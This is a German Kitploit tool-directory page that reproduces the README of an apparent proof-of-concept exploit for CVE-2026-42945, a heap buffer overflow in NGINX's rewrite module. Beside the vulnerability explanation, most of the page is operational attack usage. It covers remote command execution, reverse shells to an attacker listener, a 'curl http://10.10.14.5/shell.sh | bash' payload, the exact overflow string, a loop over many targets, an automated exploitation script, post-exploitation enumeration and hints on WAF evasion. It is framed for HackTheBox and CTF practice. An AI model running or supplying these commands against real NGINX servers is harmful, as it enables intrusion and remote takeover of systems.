Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-42945-POC — Exploit für CVE-2026-42945 | Kitploit
Tools/GitHubGitHub/cipherspy/cve-2026-42945-poc
AufklärungPayload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsCommand and ControlLernen & BildungBinary-Exploitation
GitHubcipherspy/cve-2026-42945-poc
541317vor 4 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

CVE-2026-42945-POC

Exploit für CVE-2026-42945

Repository anzeigen
Teilen

CVE-2026-42945 (NGINX Rift) – HTB-Ready Exploit

Eigenständiger Exploit für die NGINX Heap Buffer Overflow Schwachstelle, die 2024 entdeckt wurde. Diese Version ist für HackTheBox- und CTF-Umgebungen optimiert, in denen keine Docker-Container eingerichtet werden können.

Details zur Schwachstelle

CVE-2026-42945 ist ein kritischer Heap Buffer Overflow im ngx_http_rewrite_module von NGINX, der seit 2008 (Version 0.6.27) existiert. Der Fehler tritt auf, wenn:

  1. Eine rewrite-Direktive ? in der Ersetzung enthält (setzt is_args = 1)
  2. Eine set-Direktive einen Teil der URI erfasst
  3. Die Längenberechnung auf einer zurückgesetzten Sub-Engine erfolgt (sieht is_args = 0)
  4. Die Kopierphase auf der Haupt-Engine läuft (sieht is_args = 1)
  5. URI-Escaping Zeichen um das Dreifache erweitert, wodurch der zu kleine Puffer überläuft

Betroffene Versionen

  • NGINX Open Source: 0.6.27 – 1.30.0
  • NGINX Plus: R32 – R36

Behobene Versionen

  • NGINX Open Source: 1.31.0, 1.30.1
  • NGINX Plus: R36 P4, R35 P2, R32 P6

Enthaltene Dateien

  1. nginx_rift_htb.py – Haupt-Exploit-Skript
  2. nginx_rift_helper.py – Aufklärungs- und Info-Leak-Helfer
  3. README.md – Diese Datei

Anforderungen

# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd

# Keine zusätzlichen Python-Pakete erforderlich – nur stdlib!

Schnellstart

1. Prüfen, ob das Ziel verwundbar ist

python3 nginx_rift_htb.py --target 10.10.11.x --check-only

Dies wird:

  • Erkennen, ob NGINX läuft
  • Versuchen, die Version zu identifizieren
  • Den /api/-Endpunkt prüfen
  • Melden, ob das Ziel verwundbar erscheint

2. Aufklärung (Empfohlen)

python3 nginx_rift_helper.py --target 10.10.11.x --all

Dies führt Folgendes durch:

  • NGINX-Fingerprinting
  • Versionserkennung
  • Endpunkt-Entdeckung
  • Erkennung von Informationslecks
  • Verhaltensanalyse

3. Exploit ausführen

Einen Befehl ausführen:

python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"

Eine Reverse-Shell erhalten:

# Zuerst Listener starten (in einem anderen Terminal)
nc -lvnp 4444

# Exploit ausführen
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444

Anwendungsbeispiele

Einfache Befehlsausführung

# 'id'-Befehl ausführen
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"

# 'whoami' ausführen
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"

# /etc/passwd lesen
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"

Reverse Shell

# Terminal 1: Listener starten
nc -lvnp 4444

# Terminal 2: Exploit ausführen
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --shell \
    --lhost 10.10.14.5 \
    --lport 4444 \
    --verbose

Benutzerdefinierte Adressen (falls ASLR deaktiviert ist oder Lecks vorhanden sind)

python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Erweiterte Optionen

python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --port 8080 \
    --cmd "curl http://10.10.14.5/shell.sh | bash" \
    --tries 20 \
    --verbose

Den Exploit verstehen

Wie er funktioniert

  1. Heap Spray: Der Exploit sendet mehrere POST-Anfragen mit manipulierten Bodies, die eine gefälschte ngx_pool_cleanup_s-Struktur enthalten
  2. Overflow-Trigger: Sendet eine GET-Anfrage an /api/ mit einer speziell konstruierten URI, die beim Escapen überläuft
  3. Cleanup-Hook: Der Überlauf korrumpiert den Cleanup-Pointer eines benachbarten Pools, sodass er auf unsere gefälschte Struktur zeigt
  4. Code-Ausführung: Wenn der Pool zerstört wird, ruft er system() mit unserem Befehl auf

Wichtige Parameter

  • Ziel-Bytes: 6-Byte-Adressen, die nur URL-sichere Zeichen enthalten dürfen
  • Spray-Body: 4000-Byte-POST-Body mit gefälschter Cleanup-Struktur
  • Overflow-Payload: 349 'A' + 969 '+' Zeichen, die beim Escapen um das Dreifache vergrößert werden

ASLR-Überlegungen

Der Exploit geht davon aus, dass ASLR deaktiviert ist oder die Adressen bekannt sind. Auf HTB:

  • Manche Boxen deaktivieren ASLR für eine einfachere Ausnutzung
  • Andere erfordern das Finden eines Informationslecks
  • Das Hilfsskript kann bei der Aufklärung helfen

Falls ASLR aktiviert ist, kann Folgendes erforderlich sein:

  1. Ein Info-Leak in der Anwendung finden
  2. Brute-Force (erfordert viele Versuche)
  3. Partielle Overwrites (fortgeschritten)

Fehlerbehebung

"Das Ziel scheint kein NGINX auszuführen"

  • Überprüfen, ob das Ziel tatsächlich NGINX ausführt
  • Prüfen, ob der Port korrekt ist
  • Möglicherweise befindet es sich hinter einer WAF / einem Proxy

"Konnte den /api/-Endpunkt nicht bestätigen"

Die verwundbare Konfiguration erfordert:

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}
  • Der Exploit kann dennoch funktionieren, wenn rewrite+set woanders existieren
  • Andere gängige Pfade versuchen: /api/, /admin/, /internal/

"Alle Ausnutzungsversuche fehlgeschlagen"

Mögliche Gründe:

  1. ASLR ist aktiviert – Adressen werden randomisiert

    • Lösung: Info-Leak finden oder Brute-Force anwenden
  2. Andere libc-Version – system() an anderem Offset

    • Lösung: Alle Offsets mit --verbose testen
  3. Version nicht verwundbar – Behobene Version oder andere Konfiguration

    • Lösung: Version mit dem Hilfsskript überprüfen
  4. WAF/IDS blockiert – Sicherheitskontrollen vorhanden

    • Lösung: Evasion-Techniken könnten nötig sein
  5. Falscher Endpunkt – Verwendet nicht die rewrite+set-Kombination

    • Lösung: Den tatsächlich verwundbaren Endpunkt finden

Ausführlicher Modus

Immer --verbose zum Debuggen verwenden:

python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose

Dies zeigt:

  • Status jeder Spray-Anfrage
  • Verbindungsversuche
  • Timing des Overflow-Triggers
  • Logik zur Erkennung von Abstürzen

HTB-spezifische Tipps

Die eigene VPN-IP finden

# Die tun0-IP finden
ip addr show tun0 | grep inet

# Diese IP für --lhost verwenden
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444

Shell stabilisieren

Sobald der erste Zugriff besteht:

# Upgrade auf TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Terminal in den Hintergrund legen und einstellen
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Übliche HTB-Enumeration nach der Shell

# Aktuellen Benutzer prüfen
id
whoami

# Nach Flaggen suchen
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null

# Sudo-Berechtigungen prüfen
sudo -l

# SUID-Binaries prüfen
find / -perm -4000 2>/dev/null

Erweiterte Nutzung

Benutzerdefinierte Payload-Erzeugung

Falls die Payload angepasst werden muss:

# Die Funktion make_body() in nginx_rift_htb.py bearbeiten
# BODY_LEN für andere Konfigurationen anpassen
# Den Overflow-String ändern (349 'A' + 969 '+')

Mehrere Ziele

# Eine Zielliste erstellen
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25

# Jedes Ziel testen
while read target; do
    echo "Testing $target"
    python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt

Automatisierte Ausnutzung

#!/bin/bash
TARGET=$1
LHOST=$2

echo "[*] Starte Listener..."
nc -lvnp 4444 &
LISTENER_PID=$!

sleep 2

echo "[*] Führe Exploit aus..."
python3 nginx_rift_htb.py \
    --target $TARGET \
    --shell \
    --lhost $LHOST \
    --lport 4444 \
    --verbose

wait $LISTENER_PID

Technische Details

Verwundbares Code-Muster

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # Setzt is_args=1
    set $original_endpoint $1;                     # Allokiert basierend auf is_args=0
}

Ablauf der Ausnutzung

Tool herunterladen